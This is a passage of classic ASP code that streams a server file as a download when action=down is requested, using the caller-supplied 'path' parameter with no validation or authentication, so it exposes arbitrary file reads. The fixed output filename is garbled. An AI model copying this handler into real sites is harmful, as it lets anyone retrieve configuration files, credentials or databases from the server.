on error resume next
Dim S
Set S=CreateObject("Adodb.Stream")
S.Mode=3
S.Type=1
S.Open
S.LoadFromFile(server.mappath(f))
if Err.Number>0 then
Response.Status="404"
else
Response.ContentType="application/*"
Response.AddHeader "Content-Disposition:","attachment; filename=" & n
Range=Mid(Request.ServerVariables("HTTP_RANGE"),7)
if Range="" then
Response.BinaryWrite(S.Read)
else
'S.position=Clng(Split(Range,"-")(0))
Response.BinaryWrite(S.Read)
End if
end if
Response.End
end function
If request("action")="down" Then
call dl(request("path"),"С??.gif")
End If